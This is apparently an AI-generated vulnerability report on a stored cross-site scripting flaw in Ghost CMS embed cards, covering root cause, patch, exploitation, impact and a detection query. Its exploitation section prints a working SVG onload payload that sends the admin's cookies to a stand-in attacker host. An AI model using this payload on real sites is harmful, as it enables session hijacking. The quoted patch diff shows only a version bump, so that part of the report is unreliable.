CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-105643

CVE-2026-105643: Stored Cross-Site Scripting and Isolation Bypass in Ghost CMS

Alon Barad
Alon Barad
Software Engineer

Oct 7, 2026·6 min read·24 visits

Executive Summary (TL;DR)

A vulnerability in Ghost CMS's Lexical-based editor allows low-privileged staff members to inject malicious script payloads via embed cards. When an administrator views the post in the editor, the script executes on the same origin as the administrative panel, enabling full session hijacking. The issue is resolved in version 6.67.0 by isolating embed previews under a separate origin.

Stored Cross-Site Scripting (XSS) and origin isolation bypass vulnerability in Ghost CMS versions 6.34.0 through 6.66.1 allows low-privileged staff users to execute arbitrary JavaScript in the context of an administrator session via crafted embed cards.

Vulnerability Overview

Ghost is a widely deployed open-source content management system built on Node.js. The application exposes an administrative control panel typically hosted at the /ghost/ URI path. This administrative interface handles content creation, user management, and system configuration.

From version 6.34.0, the administrative editing canvas transitioned to a rich text framework based on Lexical, packaged as @tryghost/koenig-lexical. This framework implements dynamic components called 'Embed Cards' to render live previews of external rich media services such as YouTube, Twitter, and other oEmbed providers. These cards are rendered directly inside the active editing canvas when a staff user creates or modifies a post draft.

A design flaw exists in the rendering logic of these embed cards. The application fails to isolate the execution context of the generated card preview from the main administrative interface origin. This exposes an attack surface where low-privileged users can inject persistent, malicious script payloads that execute in the browser of high-privileged administrative users.

Root Cause Analysis

The core of the vulnerability involves a combination of Stored XSS (CWE-79) and Improper Isolation (CWE-653). The Koenig editor framework displays interactive media previews directly inside the post creation panel. The system relies on retrieving stored oEmbed metadata from the database and loading it into the document object model.

A prior advisory, tracking under GHSA-8vhf-xxpj-4qrg, introduced text-based input filtering to strip executable scripts. However, modifications introduced in version 6.34.0 disrupted this validation sequence. Attackers bypass these string filters by embedding malicious JavaScript within nested SVG elements, malformed iframe targets, or non-standard protocols.

The fundamental flaw is the shared origin execution space. Because the rendering iframe resides on the administrative panel's domain, the browser permits it to bypass standard document boundaries. The script executes directly in the victim's active session, utilizing the administrative origin to bypass access controls.

Code and Patch Analysis

The vulnerability was resolved in Ghost version 6.67.0. The remediation is architectural and shifts from input-based sanitization to strict origin isolation. Rather than filtering dangerous elements, the patch introduces a configuration setting that forces the rendering engine to load previews from a separate, isolated domain.

In the official patch commit 4cb7e7956356a47e2c2c240588ef32ecd9fddeaa, the development team updated dependencies to version 1.11.0 of @tryghost/koenig-lexical. This update introduces the embedPreviewUrl configuration parameter. The following code diff highlights the administrative interface package upgrade:

// apps/ember-admin/package.json
@@ -1,6 +1,6 @@
 {
   "name": "ghost-admin",
-  "version": "6.66.1-rc.0",
+  "version": "6.67.0",
   "description": "Ember.js admin client for Ghost",
   "author": "Ghost Foundation",
   "homepage": "http://ghost.org"

By passing a distinct URL to the editor via security.embedPreviewUrl, the application structures the preview rendering to occur on a sandboxed origin. Because the sandboxed origin is distinct from the primary administrative panel domain, the browser's Same-Origin Policy restricts the frame from interacting with the parent administrative context. Even if a script successfully bypasses sanitization and executes within the preview, it remains trapped inside the isolated origin and cannot access administrative data, session cookies, or the parent document API.

Exploitation Methodology

To execute this exploit, an attacker must have an active staff account on the target Ghost CMS instance, such as a 'Contributor' or 'Author' role. These roles do not possess administrative permissions but have authorization to create and edit post drafts. The attack is highly targeted and does not require external network exposure of internal interfaces.

The attacker starts by creating a new post draft. Using the Ghost editor interface, the attacker inserts a custom embed block or directly manipulates the post payload schema to include a malicious oEmbed structure. The payload contains standard XSS vectors hidden within attributes or structures that bypass simple text filters, such as an SVG element containing an executable script block:

<svg onload="fetch('https://attacker.com/log?c=' + document.cookie)"></svg>

Once the draft is saved, the stored payload remains passive in the database. The exploitation occurs when an administrator or editor reviews the pending drafts. When the victim opens the post in the Koenig editor, the application parses the schema, initializes the @tryghost/koenig-lexical editor component, and loads the embedded content in the same-origin frame. The script triggers immediately, sending the administrator's active session identifiers and CSRF tokens to the attacker's server, enabling full session takeover.

Impact Assessment

The impact of CVE-2026-105643 is classified as High, with a CVSS v3.1 base score of 7.3. Because the vulnerability requires a low-privileged authenticated account and user interaction, the overall severity is slightly mitigated in generalized scoring metrics. However, in targeted scenarios, the impact is equivalent to an unauthenticated remote compromise.

A successful exploit grants the attacker the exact privilege level of the victim who viewed the post. If an administrator views the post, the injected script gains complete access to the Ghost administrative REST API. This allows the script to perform administrative actions, including adding new administrator users, altering system configurations, modifying publication themes, and injecting persistent malware into public-facing pages.

The confidentiality and integrity impacts are rated as High. The script can retrieve database configurations, API keys for third-party integrations, and user lists. Because the script executes in the administrative context, there is no direct impact on system availability, meaning the host server continues to run normally, often hiding the active compromise from administrators.

Remediation and Detection

The primary remediation strategy is upgrading the Ghost installation to version 6.67.0 or higher immediately. This update enforces origin isolation for all embed card previews. Administrators must verify that the security.embedPreviewUrl setting is configured to use a sandboxed origin and is not modified to point back to the main domain.

For environments where immediate patching is not feasible, security administrators can run a database query to search for stored malicious scripts in active draft post schemas. The following SQL query searches for scripts, inline event handlers, or pseudo-protocols within the posts table:

SELECT id, uuid, title, status 
FROM posts 
WHERE (mobiledoc LIKE '%<script%' OR lexical LIKE '%<script%')
   OR (lexical LIKE '%javascript:%' OR lexical LIKE '%onload%');

Organizations should also audit user roles and demote unnecessary staff accounts. Restricting authoring permissions minimizes the overall attack surface by limiting the number of users capable of inserting embed elements into the publication database. Implementing egress network monitoring for administrative systems helps identify unauthorized API calls and credential exfiltration.

Official Patches

TryGhostGitHub Security Advisory for CVE-2026-105643

Fix Analysis (1)

Technical Appendix

CVSS Score
7.3/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
EPSS Probability
0.27%
Top 82% most exploited

Affected Systems

Ghost Content Management System

Affected Versions Detail

Product
Affected Versions
Fixed Version
Ghost
TryGhost
>= 6.34.0, < 6.67.06.67.0
AttributeDetail
CWE IDCWE-79, CWE-653
Attack VectorNetwork
CVSS Score7.3
EPSS Score0.00271
ImpactHigh (Complete Session Compromise)
Exploit StatusNone (No public PoC)
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The application fails to fully sanitize input parameters inside embed cards, allowing user-supplied HTML and JavaScript payloads to persist in the database and render to administrative users.

Vulnerability Timeline

Release candidate packages prepared and version bumps executed
2026-09-29
Koenig-lexical dependency upgraded to version 1.11.0
2026-09-29
CVE-2026-105643 assigned and published globally
2026-10-05
TryGhost issues security advisory GHSA-69qc-f5m6-889c
2026-10-05
NVD record created and analyzed
2026-10-06

References & Sources

  • [1]GHSA-69qc-f5m6-889c: Stored XSS via Embed Card Previews
  • [2]Ghost Release 6.67.0 Version Bump Commit
  • [3]NVD - CVE-2026-105643
  • [4]CVE.org Record
  • [5]OSV Database JSON Source
  • [6]Penpot Security Cross-Reference

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•21 minutes ago•CVE-2026-114155
7.5

CVE-2026-114155: Local Elevation of Privilege via TOCTOU Race Condition in Microsoft .NET dotnet-watch

CVE-2026-114155 is a local elevation of privilege vulnerability affecting Microsoft .NET on Linux and macOS platforms. The vulnerability exists within the dotnet-watch (Hot Reload) component and is caused by a Time-of-Check Time-of-Use (TOCTOU) race condition (CWE-367) during the generation and execution of temporary XML solution files (.slnx) in shared system temporary directories. A local attacker with low privileges can intercept and modify the temporary solution file before MSBuild evaluates it, achieving arbitrary code execution in the security context of the user running dotnet-watch.

Alon Barad
Alon Barad
1 views•9 min read
•about 1 hour ago•CVE-2026-118748
7.5

CVE-2026-118748: Unbounded Memory Allocation Denial of Service in ASP.NET Core Blazor Static-SSR

CVE-2026-118748 is a remote Denial of Service (DoS) vulnerability in Microsoft ASP.NET Core (.NET 11.0 preview releases prior to 11.0.0) and Microsoft Visual Studio 2026 (prior to 18.12.0). The flaw originates from unbounded resource allocation (CWE-770) within the Blazor static server-side rendering (static-SSR) validation pipeline, where dynamic or attacker-supplied form field identifiers are cached in a singleton-scoped memory structure without size limits or eviction policies. Unauthenticated remote attackers can exploit this condition over the network by sending repeated HTTP requests with unique field names, exhausting heap memory and terminating the host process via an unhandled OutOfMemoryException.

Alon Barad
Alon Barad
3 views•9 min read
•about 2 hours ago•CVE-2026-114150
5.9

CVE-2026-114150: Remote Information Disclosure via Uninitialized Pooled Memory in ASP.NET Core Response Buffering

CVE-2026-114150 is a network-accessible information disclosure vulnerability affecting Microsoft ASP.NET Core in .NET 11.0 preview releases and Microsoft Visual Studio 2026 prior to version 18.12.0. The flaw stems from the use of uninitialized resources (CWE-908) within response buffering components, specifically ResponseBufferingStream used by middleware such as HTTP Logging and Output Caching. Because rented memory segments from ArrayPool<byte> or MemoryPool<byte> are not cleared upon return or strictly bounded to the exact written byte count during subsequent reads, residual response payloads from earlier HTTP requests remain in the buffer tail. Downstream consumers or log sinks reading these buffers expose confidential cross-session data, including authentication tokens and personally identifiable information.

Amit Schendel
Amit Schendel
2 views•11 min read
•about 3 hours ago•CVE-2026-114146
9.0

CVE-2026-114146: Elevation of Privilege in ASP.NET Core SignalR Connection Dispatcher

An incorrect authorization vulnerability (CWE-863) exists in the ASP.NET Core SignalR HTTP Connection Dispatcher (`Microsoft.AspNetCore.Http.Connections`). The connection negotiation process failed to bind the authenticated caller identity to the generated connection state, and subsequent transport or message dispatch handlers failed to verify caller consistency. Consequently, an authenticated low-privilege attacker who obtains a valid connection identifier or token can inject messages into or hijack another user's SignalR session, achieving an elevation of privilege across security boundaries.

Alon Barad
Alon Barad
5 views•11 min read
•about 4 hours ago•CVE-2026-109478
7.5

CVE-2026-109478: Algorithmic Complexity Denial of Service in ASP.NET Core Header Parsing

CVE-2026-109478 is a network-accessible Denial of Service (DoS) vulnerability in ASP.NET Core caused by inefficient algorithmic complexity (CWE-407) when parsing comma-separated HTTP request headers. Prior to the patch, the internal helper method ParsingHelpers.GetHeaderSplit repeatedly called StringValues.Concat inside a loop iterating over each comma-separated token. Because StringValues allocates a new array of size k + 1 and copies all existing elements upon each concatenation, processing N tokens incurs O(N^2) time and space complexity. An unauthenticated remote attacker can send HTTP requests with headers containing thousands of short, comma-separated values to exhaust CPU cycles and induce severe Garbage Collection (GC) pauses, rendering the web application unresponsive.

Alon Barad
Alon Barad
6 views•11 min read
•about 5 hours ago•CVE-2026-114147
7.5

CVE-2026-114147: Denial of Service via Memory Leak in ASP.NET Core SignalR Redis Backplane

CVE-2026-114147 is a high-severity Denial of Service (DoS) vulnerability affecting ASP.NET Core and specifically the Microsoft.AspNetCore.SignalR.StackExchangeRedis scale-out provider across .NET 8.0, 9.0, 10.0, and 11.0 preview releases. The vulnerability originates from a string comparison mismatch between internal per-connection group collections and the centralized Redis channel subscription registry, compounded by a race condition during connection teardown. Remote unauthenticated attackers can exploit this flaw to leave orphaned connection contexts and active Redis pub/sub listeners pinned in memory, leading to unbounded memory exhaustion and application process termination.

Amit Schendel
Amit Schendel
3 views•10 min read